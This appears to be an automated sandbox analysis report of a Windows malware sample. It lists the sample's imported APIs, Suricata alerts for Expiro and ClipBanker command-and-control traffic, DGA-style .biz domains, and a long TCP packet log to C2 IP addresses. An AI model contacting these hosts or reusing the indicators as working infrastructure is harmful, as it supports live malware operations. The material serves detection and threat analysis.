GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T16:03:24.528093+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.22	49161	TCP
2024-10-31T16:03:24.528093+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.22	49161	TCP
2024-10-31T16:03:28.542793+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.22	49881	8.8.8.8	53	UDP
2024-10-31T16:03:31.750078+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.22	65510	8.8.8.8	53	UDP
2024-10-31T16:03:31.751762+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.22	62672	8.8.8.8	53	UDP
2024-10-31T16:03:33.187843+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.22	49171	18.141.10.107	80	TCP
2024-10-31T16:03:33.193791+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.22	49171	TCP
2024-10-31T16:03:33.193791+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.22	49171	TCP
2024-10-31T16:03:33.569218+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.22	54842	8.8.8.8	53	UDP
2024-10-31T16:03:47.636540+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49179	193.122.130.0	80	TCP
2024-10-31T16:03:56.918566+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49179	193.122.130.0	80	TCP
2024-10-31T16:04:02.680121+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.22	54422	8.8.8.8	53	UDP
2024-10-31T16:04:05.483288+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.22	50337	8.8.8.8	53	UDP
2024-10-31T16:04:14.155246+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.22	49194	TCP
2024-10-31T16:04:14.155246+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.22	49194	TCP
2024-10-31T16:04:22.526209+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.246.200.160	80	192.168.2.22	49199	TCP
2024-10-31T16:04:22.526209+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.246.200.160	80	192.168.2.22	49199	TCP
2024-10-31T16:04:23.669101+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.208.156.248	80	192.168.2.22	49200	TCP
2024-10-31T16:04:23.669101+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.208.156.248	80	192.168.2.22	49200	TCP
2024-10-31T16:04:29.482696+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.22	49203	TCP
2024-10-31T16:04:29.482696+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.22	49203	TCP
2024-10-31T16:04:33.248356+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.22	49206	TCP
2024-10-31T16:04:33.248356+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	35.164.78.200	80	192.168.2.22	49206	TCP
2024-10-31T16:04:33.979166+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.22	49207	TCP
2024-10-31T16:04:33.979166+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.22	49207	TCP
2024-10-31T16:04:36.242741+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.22	49212	54.244.188.177	80	TCP
2024-10-31T16:04:44.359057+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.246.231.120	80	192.168.2.22	49220	TCP
2024-10-31T16:04:44.359057+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.246.231.120	80	192.168.2.22	49220	TCP
2024-10-31T16:04:44.717918+0100	2034983	ET MALWARE Win32/ClipBanker.OC CnC Activity M2	1	192.168.2.22	49213	82.112.184.197	80	TCP
2024-10-31T16:04:47.675290+0100	2034983	ET MALWARE Win32/ClipBanker.OC CnC Activity M2	1	192.168.2.22	49224	13.251.16.150	80	TCP
2024-10-31T16:04:52.934851+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.211.97.45	80	192.168.2.22	49235	TCP
2024-10-31T16:04:52.934851+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.211.97.45	80	192.168.2.22	49235	TCP
2024-10-31T16:05:05.372458+0100	2034983	ET MALWARE Win32/ClipBanker.OC CnC Activity M2	1	192.168.2.22	49259	54.244.188.177	80	TCP
2024-10-31T16:05:10.018257+0100	2034983	ET MALWARE Win32/ClipBanker.OC CnC Activity M2	1	192.168.2.22	49270	18.141.10.107	80	TCP
2024-10-31T16:05:12.604648+0100	2051651	ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)	1	192.168.2.22	57113	8.8.8.8	53	UDP
2024-10-31T16:05:26.223073+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.254.94.185	80	192.168.2.22	49298	TCP
2024-10-31T16:05:26.223073+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.254.94.185	80	192.168.2.22	49298	TCP
2024-10-31T16:05:27.318476+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.22	49299	TCP
2024-10-31T16:05:27.318476+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.22	49299	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 16:03:23.673768044 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:23.678705931 CET	80	49161	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:23.678776979 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:23.734270096 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:23.734304905 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:23.739243031 CET	80	49161	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:23.739353895 CET	80	49161	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:24.519337893 CET	80	49161	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:24.522620916 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:24.528093100 CET	80	49161	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:24.528142929 CET	49161	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:24.578574896 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:24.583515882 CET	80	49162	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:24.583749056 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:24.623352051 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:24.623393059 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:24.629049063 CET	80	49162	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:24.629064083 CET	80	49162	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.035219908 CET	80	49162	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.035384893 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.040716887 CET	80	49162	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.040781021 CET	49162	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.048343897 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.053334951 CET	80	49163	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.053685904 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.054867029 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.054889917 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.059858084 CET	80	49163	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.059868097 CET	80	49163	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.078818083 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.083875895 CET	80	49164	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.083940029 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.108613014 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.108613014 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.113806963 CET	80	49164	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.113827944 CET	80	49164	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.875088930 CET	80	49163	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.878958941 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.884151936 CET	80	49163	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.889712095 CET	49163	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.954633951 CET	80	49164	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.960954905 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.965993881 CET	80	49165	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.966794968 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.967039108 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:26.967592001 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.967603922 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:26.972459078 CET	80	49165	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.972470999 CET	80	49165	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:26.973100901 CET	80	49164	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:26.975765944 CET	49164	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:27.142432928 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:27.147883892 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:27.149677038 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:27.149828911 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:27.149859905 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:27.155180931 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:27.155361891 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:27.859091997 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:27.894068003 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:27.894119978 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:28.047765970 CET	49166	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:28.167834997 CET	80	49166	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:28.426038980 CET	80	49165	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:28.550770998 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:28.555670023 CET	80	49167	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:28.555751085 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:28.557116985 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:28.557159901 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:28.561995029 CET	80	49167	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:28.562082052 CET	80	49167	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:28.620038986 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:28.684344053 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:28.689661026 CET	80	49165	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:28.689727068 CET	49165	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:29.225131989 CET	80	49167	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:29.225224972 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:29.638772011 CET	49167	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:29.643878937 CET	80	49167	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:29.790668011 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:29.795568943 CET	80	49168	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:29.795649052 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:29.796509981 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:29.796529055 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:29.801377058 CET	80	49168	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:29.801490068 CET	80	49168	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:30.568523884 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:30.573553085 CET	80	49169	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:30.573636055 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:30.573765993 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:30.573781967 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:30.578742027 CET	80	49169	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:30.578888893 CET	80	49169	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:30.629916906 CET	80	49168	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:30.630189896 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:30.635663986 CET	80	49168	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:30.635745049 CET	49168	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:31.040167093 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.045947075 CET	80	49170	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:31.046030998 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.147794008 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.147842884 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.152873039 CET	80	49170	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:31.152899027 CET	80	49170	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:31.274537086 CET	80	49169	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:31.274625063 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.274688959 CET	49169	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.279593945 CET	80	49169	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:31.715950012 CET	80	49170	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:31.716140032 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.721724987 CET	80	49170	44.221.84.105	192.168.2.22
Oct 31, 2024 16:03:31.721802950 CET	49170	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:03:31.758322954 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:31.763201952 CET	80	49171	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:31.763253927 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:31.774590015 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:31.774629116 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:31.775996923 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.779620886 CET	80	49171	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:31.779824972 CET	80	49171	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:31.781140089 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:31.781208038 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.781491995 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.781532049 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:31.786438942 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:31.786449909 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.677170992 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.677189112 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.677236080 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.677356958 CET	49172	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.678308964 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.682307959 CET	80	49172	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.683203936 CET	80	49173	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.683283091 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.683456898 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.683512926 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:32.688610077 CET	80	49173	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:32.688621998 CET	80	49173	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:33.181608915 CET	80	49171	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:33.187843084 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.193790913 CET	80	49171	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:33.194014072 CET	49171	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.354727983 CET	80	49173	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:33.354841948 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:33.360800028 CET	49173	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:03:33.365787029 CET	80	49173	172.234.222.138	192.168.2.22
Oct 31, 2024 16:03:33.577862978 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.582875967 CET	80	49174	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:33.582938910 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.592037916 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.592037916 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:33.597222090 CET	80	49174	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:33.597234964 CET	80	49174	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:33.602709055 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:33.608169079 CET	80	49175	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:33.608237028 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:33.608386040 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:33.608431101 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:33.613253117 CET	80	49175	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:33.613742113 CET	80	49175	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:35.020755053 CET	80	49174	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:35.020940065 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:35.026380062 CET	80	49174	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:35.026532888 CET	49174	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:35.789839029 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:35.794913054 CET	80	49176	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:35.794980049 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:35.795125008 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:35.795175076 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:35.800359964 CET	80	49176	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:35.800441027 CET	80	49176	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:42.103254080 CET	80	49175	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:42.103425026 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.103456974 CET	49175	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.107089996 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.108370066 CET	80	49175	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:42.112039089 CET	80	49177	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:42.112126112 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.112241030 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.112835884 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:42.117644072 CET	80	49177	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:42.118134022 CET	80	49177	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:44.299707890 CET	80	49176	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:44.299804926 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.398643970 CET	49176	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.401212931 CET	49178	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.403805017 CET	80	49176	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:44.406232119 CET	80	49178	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:44.406284094 CET	49178	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.407336950 CET	49178	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.407458067 CET	49178	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:44.412370920 CET	80	49178	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:44.412389040 CET	80	49178	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:45.912054062 CET	49178	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:46.594772100 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:46.601070881 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:46.601140022 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:46.605243921 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:46.611449957 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:47.261281967 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:47.275705099 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:47.280659914 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:47.433690071 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:47.463241100 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:47.463279009 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:47.463330984 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:47.466857910 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:47.466873884 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:47.636539936 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:48.113044024 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:48.113131046 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:48.179811001 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:48.179831982 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:48.180576086 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:48.385312080 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:49.957695961 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:50.003331900 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:50.108108044 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:50.108211040 CET	443	49180	188.114.97.3	192.168.2.22
Oct 31, 2024 16:03:50.108249903 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:50.110317945 CET	49180	443	192.168.2.22	188.114.97.3
Oct 31, 2024 16:03:50.619338989 CET	80	49177	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:50.619415045 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:50.637633085 CET	49177	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:50.643060923 CET	80	49177	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:50.674436092 CET	49181	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:50.679828882 CET	80	49181	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:50.679919958 CET	49181	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:50.680145025 CET	49181	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:50.680202007 CET	49181	80	192.168.2.22	82.112.184.197
